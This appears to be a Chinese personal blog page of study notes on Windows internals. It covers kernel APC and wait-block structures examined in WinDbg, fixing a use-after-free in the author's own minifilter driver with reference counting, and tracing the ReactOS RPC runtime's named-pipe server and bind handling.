之后，kiinsertqueueapc会进行常规检查，和waiting状态的函数一样，waitirql必须是pasive（0），specialapcdisable必须为0，以及kernelapcdisable和kerneapcinprogress

如果这些检查都通过了，kiinsertqueueapc会执行unwait线程的操作

然后将这个线程从一个链表中解脱出来，这个链表被连接在waitblock[0]字段中，然后将其状态修改改为deferredready状态，就像kiunwaitthread对等待线程所作的那样

0: kd> dt _kthread waitblock
nt!_KTHREAD
   +0x140 WaitBlock : [4] _KWAIT_BLOCK
0: kd> dt _KWAIT_BLOCK
nt!_KWAIT_BLOCK
   +0x000 WaitListEntry    : _LIST_ENTRY
   +0x010 WaitType         : UChar
   +0x011 BlockState       : UChar
   +0x012 WaitKey          : Uint2B
   +0x014 SpareLong        : Int4B
   +0x018 Thread           : Ptr64 _KTHREAD
   +0x018 NotificationQueue : Ptr64 _KQUEUE
   +0x018 Dpc              : Ptr64 _KDPC
   +0x020 Object           : Ptr64 Void
   +0x028 SparePtr         : Ptr64 Void

kiinsertqueueapc也会这是watistatus字段为0x100，

kiinsertqueueapc会将线程链接到一个由deferredreadylisthead指向的链表中，这个东西在kprcb结构体中

nt!_KPRCB
   +0x2d08 DeferredReadyListHead : _SINGLE_LIST_ENTRY

针对kireadythread和kideferredreadythread函数的分析证明了deferredready是一个状态，这个状态的含义是，一个线程准备运行了，在选择在哪个处理器上运行本线程之前，线程将会从deferredready状态切换到ready状态，如果选择的那个处理器正忙于运行其他的线程，或者会切换到standby状态，如果目标处理器可以立刻开始执行本线程

因此kiunwaitthread和kiinsertqueueapc会开启相同的转换，这个转换会导致线程成为running状态并开始处理他的apc

wait VS gatewait

有趣的是比较kiunwaitthread的步骤在wait状态中的线程

和kiinsertqueueapc在gatewait线程中的步骤相比

线程等待队列

对于一个wait线程，kiunwaitthread将其从该线程正在等待的对象中解脱出来，线程被连接到他们通过一个由waitblocklist字段指向的链接，kiunwaitthread遍历这个链表并将其解脱出来

这些waitblocks，在azure cto Mark Russinovich的书《Inside Microsoft Windows 2000; Third Edition;》中有详细的介绍，在第230页Data Structures一节：

kthread中有两个重要的数据结构跟踪了是谁在等待什么
dispatcher headers和wait block
0: kd> dt _kthread
nt!_KTHREAD
   +0x000 Header           : _DISPATCHER_HEADER

0: kd> dt _kthread waitblock
nt!_KTHREAD
   +0x140 WaitBlock : [4] _KWAIT_BLOCK

0: kd> dt _DISPATCHER_HEADER
nt!_DISPATCHER_HEADER
   +0x000 Lock             : Int4B
   +0x000 LockNV           : Int4B
   +0x000 Type             : UChar
   +0x001 Signalling       : UChar
   +0x002 Size             : UChar
   +0x003 Reserved1        : UChar
   +0x000 TimerType        : UChar
   +0x001 TimerControlFlags : UChar
   +0x001 Absolute         : Pos 0, 1 Bit
   +0x001 Wake             : Pos 1, 1 Bit
   +0x001 EncodedTolerableDelay : Pos 2, 6 Bits
   +0x002 Hand             : UChar
   +0x003 TimerMiscFlags   : UChar
   +0x003 Index            : Pos 0, 6 Bits
   +0x003 Inserted         : Pos 6, 1 Bit
   +0x003 Expired          : Pos 7, 1 Bit
   +0x000 Timer2Type       : UChar
   +0x001 Timer2Flags      : UChar
   +0x001 Timer2Inserted   : Pos 0, 1 Bit
   +0x001 Timer2Expiring   : Pos 1, 1 Bit
   +0x001 Timer2CancelPending : Pos 2, 1 Bit
   +0x001 Timer2SetPending : Pos 3, 1 Bit
   +0x001 Timer2Running    : Pos 4, 1 Bit
   +0x001 Timer2Disabled   : Pos 5, 1 Bit
   +0x001 Timer2ReservedFlags : Pos 6, 2 Bits
   +0x002 Timer2ComponentId : UChar
   +0x003 Timer2RelativeId : UChar
   +0x000 QueueType        : UChar
   +0x001 QueueControlFlags : UChar
   +0x001 Abandoned        : Pos 0, 1 Bit
   +0x001 DisableIncrement : Pos 1, 1 Bit
   +0x001 QueueReservedControlFlags : Pos 2, 6 Bits
   +0x002 QueueSize        : UChar
   +0x003 QueueReserved    : UChar
   +0x000 ThreadType       : UChar
   +0x001 ThreadReserved   : UChar
   +0x002 ThreadControlFlags : UChar
   +0x002 CycleProfiling   : Pos 0, 1 Bit
   +0x002 CounterProfiling : Pos 1, 1 Bit
   +0x002 GroupScheduling  : Pos 2, 1 Bit
   +0x002 AffinitySet      : Pos 3, 1 Bit
   +0x002 Tagged           : Pos 4, 1 Bit
   +0x002 EnergyProfiling  : Pos 5, 1 Bit
   +0x002 SchedulerAssist  : Pos 6, 1 Bit
   +0x002 ThreadReservedControlFlags : Pos 7, 1 Bit
   +0x003 DebugActive      : UChar
   +0x003 ActiveDR7        : Pos 0, 1 Bit
   +0x003 Instrumented     : Pos 1, 1 Bit
   +0x003 Minimal          : Pos 2, 1 Bit
   +0x003 Reserved4        : Pos 3, 2 Bits
   +0x003 AltSyscall       : Pos 5, 1 Bit
   +0x003 Emulation        : Pos 6, 1 Bit
   +0x003 Reserved5        : Pos 7, 1 Bit
   +0x000 MutantType       : UChar
   +0x001 MutantSize       : UChar
   +0x002 DpcActive        : UChar
   +0x003 MutantReserved   : UChar
   +0x004 SignalState      : Int4B
   +0x008 WaitListHead     : _LIST_ENTRY

0: kd> dt _KWAIT_BLOCK
nt!_KWAIT_BLOCK
   +0x000 WaitListEntry    : _LIST_ENTRY
   +0x010 WaitType         : UChar
   +0x011 BlockState       : UChar
   +0x012 WaitKey          : Uint2B
   +0x014 SpareLong        : Int4B
   +0x018 Thread           : Ptr64 _KTHREAD
   +0x018 NotificationQueue : Ptr64 _KQUEUE
   +0x018 Dpc              : Ptr64 _KDPC
   +0x020 Object           : Ptr64 Void
   +0x028 SparePtr         : Ptr64 Void

dispatch header包含了对象类型，即0x0偏移处的type字段

对象类型dump代码

我当前测试用的win11的dump结果

他这个dispatcher header中的type跟我的有点对不上啊，我等待的明明是一个event啊，可是实际调试器中查看type的值是6

他这个object type跟我理解的object type好像不是一个东西

他是KOBJECTS那个枚举

我也不知道他这个准不准，根据他这个上面的定义，6代表的是THREAD，thread等待thread是什么玩意儿

我先来翻译一下azure cto的书里面的内容

dispatch header包含对象类型、signaled state，和一个线程等待的对象的列表

wait block代表了一个线程正在正待的一个对象

每一个线程处于等待状态的，都拥有一个wait block列表，用于表示线程正在等待的对象

每一个dispatcher对象都有一个列表，这个列表是wait blocks列表，代表线程正在等待的对象

这个列表被保存，因此当一个派遣对象被signaled的时候，内核可以快速决定谁正在等待这个对象

这个wait block有一个指针，指向正在等待的对象，还有一个指向正在等待这个对象的线程的指针，还有一个指向下一个wait block的指针（如果这个线程正在等待多个对象的话）

他同时也记录了等待的类型，以及位置of这个entry在这个handle数组由线程通过waitformultipleobjects函数传入的数组（如果线程只等待一个对象的话，那就是0）

下图展示了dispatch对象和wait blocks和线程之间的关系

从我实际调试的结果来看，无法反映上图中所展示的关系，我的kthread结构体中有一个waitblock数组，长度为4，其中前两个有值，后两个没值

我当前调试显示只有0和1号element的object字段不为0，这个对象一个是event一个是transaction manager Enlistment

0: kd> !object 0xffff9b06178cb660
Object: ffff9b06178cb660  Type: (ffff9b060781de20) Event
    ObjectHeader: ffff9b06178cb630 (new version)
    HandleCount: 1  PointerCount: 32769
0: kd> !object 0xffffc10bc3644a88
Object: ffffc10bc3644a88  Type: (ffff9b06077fa230) TmEn
    ObjectHeader: ffffc10bc3644a58 (new version)
    HandleCount: 18446633048981155296  PointerCount: 18446633049058614408

我们现在只需要关注event对象即可，也就是0号元素，WaitListEntry 字段确实不是空的，使用windbg的!list命令查看可以看到两个节点，根据cto的书的说明，这个listentry可以索引到dispatch object中的wait list head指向的链表

哦我好像误会了他的意思，他说的是dispatch对象，并不是kthread中的disatch header

所有的dispatcher对象都拥有一个dispatch header，所以我们应该去查看event对象

0: kd> dt _kevent ffff9b06178cb660
nt!_KEVENT
   +0x000 Header           : _DISPATCHER_HEADER
0: kd> dt _DISPATCHER_HEADER ffff9b06178cb660 WaitListHead  
nt!_DISPATCHER_HEADER
   +0x008 WaitListHead : _LIST_ENTRY [ 0xffff9b06`102e71c0 - 0xffff9b06`102e71c0 ]
0: kd> dt _kthread waitblock
nt!_KTHREAD
   +0x140 WaitBlock : [4] _KWAIT_BLOCK
0: kd> dqs ffff9b06102e7080+140 ; ffff9b06102e7080我们的测试kthread
ffff9b06`102e71c0  ffff9b06`178cb668
ffff9b06`102e71c8  ffff9b06`178cb668

可以看到kevent对象的waitlisthead确实指向了kthread的waitblocks数组的0号元素的listentry所在的链表

好了，关于等待对象我们就看到这里就够了，吼吼吼

回到apc那本书，waitblocks用来连接一个线程到dispatcher对象中（evetn、mutexes等），它允许一个事实，那就是一个线程可以等待多个对象，且每一个对象都可以由多个线程在等待

为了实现这个，关系，每一个线程都有一个waitblocks数组，这里每一个节点代表一个对象这个线程正在等待的

这个结论和我前面看cto的书得到的结论是一致的，每一个节点都是一个_kwait_block结构体

nt!_KWAIT_BLOCK
   +0x000 WaitListEntry    : _LIST_ENTRY
   +0x010 WaitType         : UChar
   +0x011 BlockState       : UChar
   +0x012 WaitKey          : Uint2B
   +0x014 SpareLong        : Int4B
   +0x018 Thread           : Ptr64 _KTHREAD
   +0x018 NotificationQueue : Ptr64 _KQUEUE
   +0x018 Dpc              : Ptr64 _KDPC
   +0x020 Object           : Ptr64 Void
   +0x028 SparePtr         : Ptr64 Void

以前的vista的这个结构体中有一个next字段用于指向当前线程等待的下一个对象，但是我这个win11没有了，那么我想知道，如果当前线程等待了多个对象的时候，你怎么跟踪这个状态呢，让我来写个代码测试一下

桥豆麻袋，不会是这个notificationqueue字段在负责这个吧

我先看一下我等待一个event的时候这个字段是什么状态

可以看到现在这个队列是空的，里面都是无意义的数值

0: kd> Dt _KQUEUE 0xffff9b06`102e7080
nt!_KQUEUE
   +0x000 Header           : _DISPATCHER_HEADER
   +0x018 EntryListHead    : _LIST_ENTRY [ 0x00000000`00000000 - 0x00000000`08229211 ]
   +0x028 CurrentCount     : 0xc3645c70
   +0x02c MaximumCount     : 0xffffc10b
   +0x030 ThreadListHead   : _LIST_ENTRY [ 0xffffc10b`c3640000 - 0xffffc10b`c3646000 ]

ok，我去网上搜了一下，弄明白了

关键就是WaitBlockList字段，这个字段是一个指针，里面存了一个数组的地址，这个数组的元素是_KWAIT_BLOCK，至于他具体有几个元素，是在哪里指定的我没弄清楚，但是每隔0x30字节就是一个_KWAIT_BLOCK结构体，和!process kthread 2的输出是完全吻合的

用于等待多个event来进行测试的代码

kiunwaitthread会遍历这个数组来将entry从event对象链表中解脱出来

而kiinsertqueueapc做的事情对于gatewait状态的线程有点不一样

他会使用kthread的gateobject字段，该字段指向kgate结构体，kgate只有一个字段，就是dispatchheader

靠，我的win11根本就没有他说的这个字段，算了妈的先打会儿游戏再说

Windows内核编程之引用计数

2025-10-10T00:00:00+02:00

本篇文章为个人笔记，仓库暂时为私有状态

代码仓库

我们先进入这个commit状态的代码进行测试

我们启动驱动，然后使用用户模式的程序连接他的miniport，此时会触发miniport的连接回调函数Comm_PortConnect，该函数会创建一个用于保存连接状态的context结构体，并通过PortCtx_CreateAndInsert函数插入到链表中

此时可以看到新的ctx节点被插入

我们在链表head写入写断点来检测节点删除操作

此时我们卸载驱动，可以看到首先是Unload例程调用PortCtx_Uninit来删除链表中的节点并释放对应内存

 # Child-SP          RetAddr               Call Site
00 ffffdb80`aba76840 fffff802`308b215e     UserModeHookHelper!RemoveHeadList+0x7a
01 ffffdb80`aba76880 fffff802`308b1f39     UserModeHookHelper!PortCtx_Uninit+0x3e
02 ffffdb80`aba768c0 fffff802`35e77aba     UserModeHookHelper!MiniUnload+0x19

之后我们在PortCtx_RemoveAndFree函数下断点，放行

断点触发后调用栈如下

 # Child-SP          RetAddr               Call Site
00 ffffdb80`aba76788 fffff802`308b174d     UserModeHookHelper!PortCtx_RemoveAndFree 
01 ffffdb80`aba76790 fffff802`35e77f19     UserModeHookHelper!Comm_PortDisconnect+0x4d 
02 ffffdb80`aba767d0 fffff802`35e7a7ba     FLTMGR!FltpTerminateActiveConnections+0x6d
03 ffffdb80`aba76800 fffff802`308b1f92     FLTMGR!FltUnregisterFilter+0x1aa
04 ffffdb80`aba768c0 fffff802`35e77aba     UserModeHookHelper!MiniUnload+0x72
05 ffffdb80`aba76900 fffff802`35e77d66     FLTMGR!FltpDoUnloadFilter+0x19e
06 ffffdb80`aba76af0 fffff802`32849b1f     FLTMGR!FltpMiniFilterDriverUnload+0x146
07 ffffdb80`aba76b30 fffff802`322b8515     nt!IopLoadUnloadDriver+0xdbd0f
08 ffffdb80`aba76b70 fffff802`32355855     nt!ExpWorkerThread+0x105
09 ffffdb80`aba76c10 fffff802`323fe808     nt!PspSystemThreadStartup+0x55
0a ffffdb80`aba76c60 00000000`00000000     nt!KiStartSystemThread+0x28

此时Unload函数已经将所有的ctx节点释放掉了，那么再在Comm_PortDisconnect函数中引用ctx必然导致use after free进而导致蓝屏，是一个很大的安全隐患

VOID
Comm_PortDisconnect(
    __in PVOID ConnectionCookie
) {
    PCOMM_CONTEXT pPortCtx = (PCOMM_CONTEXT)ConnectionCookie;
    if (!pPortCtx) return;

    Log(L"client process %d disconnected with port context 0x%p\n",
        pPortCtx->m_UserProcessId, pPortCtx);

    // Remove and free via PortCtx module
    PortCtx_RemoveAndFree(pPortCtx);
}

referecnce count do the rescue

现在将代码设置到这个commit

在定义COMM_CONTEXT结构体之初，我就设置了一个m_RefCount字段，但是只有这一个字段是不够的，还需要再添加一个marker字段m_Removed

一开始我也不太理解为什么要同时设置这两个字段，后来copilot给我解释了一下我才明白

m_Removed字段用于告诉调用者当前的ctx已经从list中移除了，其内存马上就要被释放了，不要再使用这个ctx了

m_RefCount作为ctx的引用计数可以确保ctx只有在m_RefCount为0的时候才会被释放

考虑下面这种场景

调用者A得到一个ctx对象，那么他必须给引用计数+1，这样就能确保该对象不会在自己的使用过程中被释放掉
调用者B想要从链表中移除并释放该ctx的内存，那么他需要进行如下操作：
加锁，将m_Remove设置为TRUE
降低引用计数，由于A增加了引用计数，此时的引用计数必不为0，因此无法释放内存
而此时如果我们没有m_RefCount，只有m_Removed字段，那么就会直接释放A正在使用的ctx对象的内存
而m_Removed又可以组织我们对正在准备被删除的对象进行操作

还有一点需要注意的就是，针对我们的miniport断开连接回调，我们需要先检测存储在ConnectionCookie中的ctx是否已经被释放，因为即使是使用了引用计数，这个函数也有可能在ctx被使用之后再被调用，此时获取到的ctx将指向已经被释放的内存，针对该指针的任何引用操作都可能导致预期外的行为

因此我们增加了PortCtx_FindAndReferenceByCookie函数以检查其中的ctx是否已经不存在于ctx链表中

这样就可以避免悬垂指针的问题

Windows RPC学习

2025-09-19T00:00:00+02:00

参考链接：

本文所有压缩包的密码都是1，使用VS2017进行编译

项目文件

reactos_rpcrt4_test_code

使用reactos的rpcrt4.dll作为运行时来调试rpc的内部实现原理

下图中的aaarpcrt4.dll就是reactos项目的rpcrt4.dll，advapi32_vista.dll和kernel32_vista.dll是我从reactos操作系统中拷贝出来的，他俩是reactos的rpcrt4的依赖

reactos的源码无法直接使用，需要对多个文件进行修改，修改后可以正常使用的reactos源码项目

另外，编译环境需要RosBE，把这个下载解压，然后bin目录添加到环境变量重启电脑即可编译reactos项目

服务端实现

RpcServerUseProtseqEp

RPCRT4_get_or_create_serverprotseq

构造一个Protseq字符串，然后调用RPCRT4_get_or_create_serverprotseq，该函数会构造传出参数RpcServerProtseq结构体，maxcall指定最大连接数

进入该函数后，他会尝试遍历一个存储了所有已经存在的RpcServerProtseq列表，如果发现已经存在，就直接使用已经存在的

否则就调用alloc_serverprotoseq创建一个新的

该函数首先通过调用rpcrt4_get_protseq_ops来查询我们指定的protocol sequence是否在他的支持范围内，reactos的rpc运行时只支持下面这3种

protcol sequence name: ncacn_np
protcol sequence name: ncalrpc
protcol sequence name: ncacn_ip_tcp

我们匹配到ncalrpc协议，从protseq_ops结构体列表中返回对应的节点

可以看到该结构体除了第一个字段是协议名称，其他的全部都是成员函数

紧接着调用成员函数alloc来分配一个RpcServerProtseq_np结构体，注意这里的后缀_np，因为我们使用的是ncalrpc协议，这里使用的也是对应的RpcServerProtseq结构体，不过它里面会内嵌一个RpcServerProtseq结构体，字段名为common

ncalrpc对应的alloca函数为

rpcrt4_protseq_np_alloc

然后填充该结构体的各个字段，该结构体的两个list会在此处初始化，分别用于记录listener和connection

还有一个list_entry作为protseqs全局列表的索引被添加进去，这个就是前面RPCRT4_get_or_create_serverprotseq尝试查询是否存在已经创建的协议序列的那个列表

并且还初始化了一个critical section，后面会用到

RPCRT4_use_protseq

首先使用RPCRT4_protseq_is_endpoint_registered检测该段点是否已经被注册过

他查询的是我们前面创建出来的RpcServerProtseq_np的listener列表，也就是查询自己是否已经注册过这个端点

如果发现该段点还未被创建，就调用ops对象的成员函数open_endpoint来注册一个端点

status = ps->ops->open_endpoint(ps, endpoint);

对于ncalrpc端点，对应的函数是rpcrt4_protseq_ncalrpc_open_endpoint，该函数会调用RPCRT4_CreateConnection创建一个RpcConnection对象

根据协议序列，从一个全局数组conn_protseq_list中返回一个预设的connection_ops对象

之后就是对该对象进行初始化，给各个字段进行赋值，其中初始化了两个list_entry，推测为后续提供给某个全局链表使用

返回之后调用ncalrpc_pipe_name函数，传入的参数为端点名称

reactos的ncalrpc并未真正使用windows的lpc机制，而是使用命名管道模拟的

这个函数就是拼接出来一个命名管道路径，返回之后调用rpcrt4_conn_create_pipe创建命名管道

connection->pipe = CreateNamedPipeA(connection->listen_pipe, PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED,
                                        PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE,
                                        PIPE_UNLIMITED_INSTANCES,
                                        RPC_MAX_PACKET_SIZE, RPC_MAX_PACKET_SIZE, 5000, NULL);

之后connnection对象被插入到protseq对象的listeners列表中

list_add_head(&protseq->listeners, &Connection->protseq_entry);

RpcServerRegisterAuthInfo

注册认证信息

我们是本地通信，这一部分忽略

其实就是在全局链表中新增了一个rpc_server_registered_auth_info节点

RpcServerRegisterIfEx

就是创建了一个RpcServerInterface对象，然后添加到全局链表server_interfaces中

RpcServerListen

该函数会调用RPCRT4_start_listen

该函数会创建一个事件叫做listen_done_event

然后全局变量listen_count自增，如果是第一次listen，自增之后将等于1，此时将全局变量std_listen设置为1

之后在一个循环中调用RPCRT4_start_listen_protseq，遍历所有的协议序列，逐个监听

if (std_listen)
  {
    EnterCriticalSection(&server_cs);
    LIST_FOR_EACH_ENTRY(cps, &protseqs, RpcServerProtseq, entry)
    {
      status = RPCRT4_start_listen_protseq(cps, TRUE);
      if (status != RPC_S_OK)
        break;

      /* make sure server is actually listening on the interface before
       * returning */
      RPCRT4_sync_with_server_thread(cps);
    }
    LeaveCriticalSection(&server_cs);
  }

传入的参数就是RpcServerProtseq对象

RPCRT4_start_listen_protseq函数会初始化该对象的一些字段包括mgr_mutex和server_ready_event，然后启动一个线程，线程routine是RPCRT4_server_thread

RPCRT4_server_thread

首先是一个死循环

objs = cps->ops->get_wait_array(cps, objs, &count);

这里是一个动态注册的函数，ncalrpc对应的函数就是rpcrt4_protseq_np_get_wait_array

rpcrt4_protseq_np_get_wait_array

在该线程函数中，根据传入的RpcServerProtseq对象，可以定位到RpcServerProtseq_np对象，因为RpcServerProtseq对象是RpcServerProtseq_np的common字段，使用下面的代码即可定位到RpcServerProtseq_np对象的地址

CONTAINING_RECORD(protseq, RpcServerProtseq_np, common);

然后他会遍历protseq的listeners链表

LIST_FOR_EACH_ENTRY(conn, &protseq->listeners, RpcConnection_np, common.protseq_entry)

上面这个宏的含义如下

遍历protseq->listeners链表的每一个节点，每一个节点就是一个list_entry，该list_entry同时位于RpcConnection_np结构体的common.protseq_entry字段，这样只要我们拿到list_entry，减去common.protseq_entry字段在RpcConnection_np结构体中的偏移量，即可得到RpcConnection_np对象的地址，这样我们就可以获取到所有的conn节点

此时connection对象的listen_event字段为空，会尝试执行get_np_event函数

如果有event_cache就返回缓存并清空缓存，没有的话就创建一个

static HANDLE get_np_event(RpcConnection_np *connection)
{
    HANDLE event = InterlockedExchangePointer(&connection->event_cache, NULL);
    return event ? event : CreateEventW(NULL, TRUE, FALSE, NULL);
}

返回后调用NtFsControlFile函数

status = NtFsControlFile(conn->pipe, event, NULL, NULL, &conn->io_status, FSCTL_PIPE_LISTEN, NULL, 0, NULL, 0);

通知指定的pipe等待客户端连接，由于我们指定了event参数，这个调用会立即返回并将status设置为STATUS_PENDING，此时conn->io_status中并未包含任何有意义的值，等待操作真正完成之后，里面才会包含有意义的值

之后将count传出参数自增，需要注意的是count的初始值为1，因为他要预留一个位置用于存储mgr_event，表明当前处于等待连接状态的连接数量

后面会分配内存，大小为count*sizeof(HNADLE)

objs = HeapAlloc(GetProcessHeap(), 0, *count*sizeof(HANDLE));

其中objs[0]将存储RpcServerProtseq_np对象的mgr_event，之后使用跟上面一样的遍历方法对objs依次赋值conn对象的listen_event字段

这样我们就获取到了一个wait_array，用于等待来自客户端的连接

wait_for_new_connection

在上面调用rpcrt4_protseq_np_get_wait_array函数返回之后，我们得到一个wait_array

res = cps->ops->wait_for_new_connection(cps, count, objs);

之后传入RpcServerProtseq对象和wait_array以及array长度，此处为动态注册函数，ncalrpc对应的为rpcrt4_protseq_np_wait_for_new_connection

在该函数中，他会使用WaitForMultipleObjectsEx一次性等待所有的wait_array中的事件，这个函数会阻塞我们当前线程，直到有新的管道连接进来，或者mgr_event处于signaled状态，不要忘了objs数组的第一个成员就是mgr_event，而这个event会在我们的主线程中被signal

那么被主线程signal之后，我们的WaitForMultipleObjectsEx会返回WAIT_OBJECT_0，也就是说等待数组中的第一个事件被signal了，之后我们将返回值设为0并返回

然后将set_ready_event变量设置为TRUE

前面我们提到，我们是在一个死循环里面，此时我们会继续回到循环头部

if (set_ready_event)
    {
        /* signal to function that changed state that we are now sync'ed */
        SetEvent(cps->server_ready_event);
        set_ready_event = FALSE;
    }

那么此时这个条件就满足了，server_ready_event事件就会被signal，此时主线程的wait操作就可以解除阻塞状态，这样主线程就知道RPCRT4_server_thread线程已经准备好接收连接了

此时我们会再次调用到rpcrt4_protseq_np_wait_for_new_connection函数，这次就没有人会signal我们的mgr_event了，只有在pipe有新的连接进来时才会接触server_thread的阻塞

这里有一个需要注意的点，mgr_event是自动重置事件，在signal之后，之前处于wait状态的线程解除阻塞，系统会自动重置mgr_event为non-signaled状态，再次调用wait依然还会阻塞

ps->mgr_event = CreateEventW(NULL, FALSE, FALSE, NULL);

CreateEventW的第二个参数为bManualReset，指定为FALSE即代表自动重置

在客户端调用rpcrt4_conn_open_pipe打开pipe之后，服务端收到连接，WaitForMultipleObjectsEx解除阻塞状态，进入连接处理的逻辑代码

b_handle = objs[res - WAIT_OBJECT_0];

使用上面的代码可以计算出来是哪一个正在listen的pipe handle接收到了连接，res是WaitForMultipleObjectsEx函数的返回值

        LIST_FOR_EACH_ENTRY(conn, &protseq->listeners, RpcConnection_np, common.protseq_entry)
        {
            if (b_handle == conn->listen_event)
            {
                release_np_event(conn, conn->listen_event);
                conn->listen_event = NULL;
                if (conn->io_status.u.Status == STATUS_SUCCESS || conn->io_status.u.Status == STATUS_PIPE_CONNECTED)
                    cconn = rpcrt4_spawn_connection(&conn->common);
                else
                    ERR("listen failed %x\n", conn->io_status.u.Status);
                break;
            }
        }

哪一个连接的event和解除阻塞状态的conn对象的listen_event对得上号，那么就说明这个连接有新的客户端进来了

release_np_event会获取cache_event字段，如果不为空，就关闭eventhandle，返回后将listen_event置空，但是这里直接置空的话，如果后面你需要关闭这个event的句柄，你怎么办？

哦我懂了，在release_np_event函数中，listen_event被交换到了event_cache字段中

然后调用rpcrt4_spawn_connection函数，传入的参数为收到连接的老的连接对象，该函数会使用RPCRT4_CreateConnection根据老的连接对象的属性创建一个新的连接对象，之后调用rpcrt4_conn_handoff函数

rpcrt4_conn_handoff(old_connection, connection);

static inline RPC_STATUS rpcrt4_conn_handoff(RpcConnection *old_conn, RpcConnection *new_conn)
{
  return old_conn->ops->handoff(old_conn, new_conn);
}

动态注册，ncalrpc对应的函数为rpcrt4_ncalrpc_handoff

其实他这个逻辑就是新的连接进来之后就创建出一个新的连接对象来承载新的连接，而老的连接对象的pipehandle字段将用存储一个新创建的pipe实例，相关的事件字段也会被重置，从而可以继续他的监听工作

而每次创建新连接的关键就是调用下面的代码

connection->pipe = CreateNamedPipeA(connection->listen_pipe, PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED,
                                        PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE,
                                        PIPE_UNLIMITED_INSTANCES,
                                        RPC_MAX_PACKET_SIZE, RPC_MAX_PACKET_SIZE, 5000, NULL);

你可能会问，我们之前不是已经创建过这个命名管道了吗，为什么这里还可以重复创建，原因就是管道的特殊之处就在于它可以拥有多个实例（instance）

我不知道他这里为什么要记录本地计算机名称

if (!GetComputerNameA(new_conn->NetworkAddr, &len))

最后使用新创建出来的连接对象作为参数，调用RPCRT4_new_client函数，该函数会创建一个线程，线程函数为RPCRT4_io_thread，参数为新连接，此时新连接对象中保存着收到连接的pipe实例的句柄

RPCRT4_receive_fragment

在服务端专门用来处理客户端连接的线程函数RPCRT4_io_thread会接收用户发送过来的数据

通过connect中的connection_ops对象动态注册的receive_fragment成员函数来接收数据包，不过我们当前调试的实例显示connection_ops对象的receive_fragment成员是空的

在这种情况下，RPCRT4_default_receive_fragment函数将会被调用

首先他会尝试读取出一个头部RpcPktCommonHdr

dwRead = rpcrt4_conn_read(Connection, &common_hdr, sizeof(common_hdr));

通过rpcrt4_conn_np_read进行namedpipe的读取操作

核心就是使用NtReadFile对管道进行读取

NtReadFile(connection->pipe, event, NULL, NULL, &connection->io_status, buffer, count, NULL, NULL);

而且这里传入了event参数，是一个异步读操作，会立即返回，实际调试的时候这里返回了一个0x80000005，STATUS_BUFFER_OVERFLOW，我懂了，他提供的buffer长度只是一个header的长度，而实际上客户端写入的数据要远大于一个header的长度，即使返回了bufferoverflow，他依然可以正常读取出一个header的数据，最终返回的io_status.information中存储的就是成功读取出的数据长度

读出的header数据如下

header中的type字段可以用于确定header的类型

 sizeof(Header->request), 0, sizeof(Header->response),
    sizeof(Header->fault), 0, 0, 0, 0, 0, 0, 0, sizeof(Header->bind),
    sizeof(Header->bind_ack), sizeof(Header->bind_nack),
    0, 0, sizeof(Header->auth3), 0, 0, 0, sizeof(Header->http)

0xb对应的就是Header->bind，也就是说客户端发送过来的是bind请求

可以看到，一开始我们读取的是common_hdr，在获取到common_hdr之后，我们得到header类型，根据header类型获取到真正的header长度，然后我们按照这个长度分配buffer，将buffer向前移动sizeof(comon_hdr)，因为前面以前将common_hdr读出来了，再从管道读的话就是之后的内容了

dwRead = rpcrt4_conn_read(Connection, &(*Header)->common + 1, hdr_length - sizeof(common_hdr));

&(*Header)->common + 1其实就是从header开始向前移动一个common_hdr的长度

在之前读取出来的common_hdr中，我们通过frag_len可以知道整个数据包的长度，那么减去现在的头部的长度，如果不等于0，说明后面还有payload

最终该函数读取出了header和payload

process_bind_packet

在确定当前请求为bind请求之后，就通过该函数来处理bind数据包

RPCRT4_find_interface

这个是我很感兴趣的一个函数，他会使用接口的GUID来寻找接口，我倒要看看他究竟是怎么实现的

sif = RPCRT4_find_interface(NULL, &ctxt_elem->abstract_syntax,
                                      &ctxt_elem->transfer_syntaxes[j], FALSE);

他传入了我们接口自定的GUID和传输语法GUID作为参数

查找的方法就是遍历全局链表server_interfaces，根据我们传入的interface GUID进行比对

  LIST_FOR_EACH_ENTRY(cif, &server_interfaces, RpcServerInterface, entry) {
    if (!memcmp(if_id, &cif->If->InterfaceId, sizeof(RPC_SYNTAX_IDENTIFIER)) &&
        (!transfer_syntax || !memcmp(transfer_syntax, &cif->If->TransferSyntax, sizeof(RPC_SYNTAX_IDENTIFIER))) &&
        (check_object == FALSE || UuidEqual(MgrType, &cif->MgrTypeUuid, &status)) &&
        std_listen) {
      InterlockedIncrement(&cif->CurrentCalls);
      break;
    }
  }

最后调用RPCRT4_MakeBinding函数

该函数就是初始化一个RpcBinding结构体

0:005> dt RpcBinding 00000242915AF1C0
aaarpcrt4!RpcBinding
   +0x000 refs             : 0n1
   +0x008 Next             : (null) 
   +0x010 server           : 0n1
   +0x014 ObjectUuid       : _GUID {00000000-0000-0000-0000-000000000000}
   +0x028 Protseq          : 0x00000242`915aefb0  "ncalrpc"
   +0x030 NetworkAddr      : 0x00000242`915af270  "DESKTOP-7PE7PN4"
   +0x038 Endpoint         : 0x00000242`915af2b0  "NCALRPCServer12138"
   +0x040 NetworkOptions   : (null) 
   +0x048 BlockingFn       : (null) 
   +0x050 ServerTid        : 0
   +0x058 FromConn         : 0x00000242`915acb40 _RpcConnection
   +0x060 Assoc            : (null) 
   +0x068 AuthInfo         : (null) 
   +0x070 QOS              : (null) 
   +0x078 CookieAuth       : (null)

在这一切都处理完成之后，服务端需要发回一个ack确认包给客户端

RPCRT4_BuildBindAckHeader

构建完ack包之后，使用RPCRT4_SendWithAuth函数发送给client

发送函数会调用connection_ops对象的write方法，ncalrpc对应的是rpcrt4_conn_np_write函数，该函数的核心调用就是NtWriteFile，现在我们回去调试客户端

QueueUserWorkItem

客户端发送了RPCCALL到服务端，此时服务端的RPCRT4_io_thread线程函数的死循环开始处理PKT_REQUEST类型的数据包

 if (!QueueUserWorkItem(RPCRT4_worker_thread, packet, WT_EXECUTELONGFUNCTION)) {
        ERR("couldn't queue work item for worker thread, error was %d\n", GetLastError());
        HeapFree(GetProcessHeap(), 0, packet);
        status = RPC_S_OUT_OF_RESOURCES;
      } else {
        continue;
      }

他这里使用了用户模式的WorkItem，和windows内核模式的work item一样，用户模式下的workitem同样也运行在当前进程的arbitrary thread context下

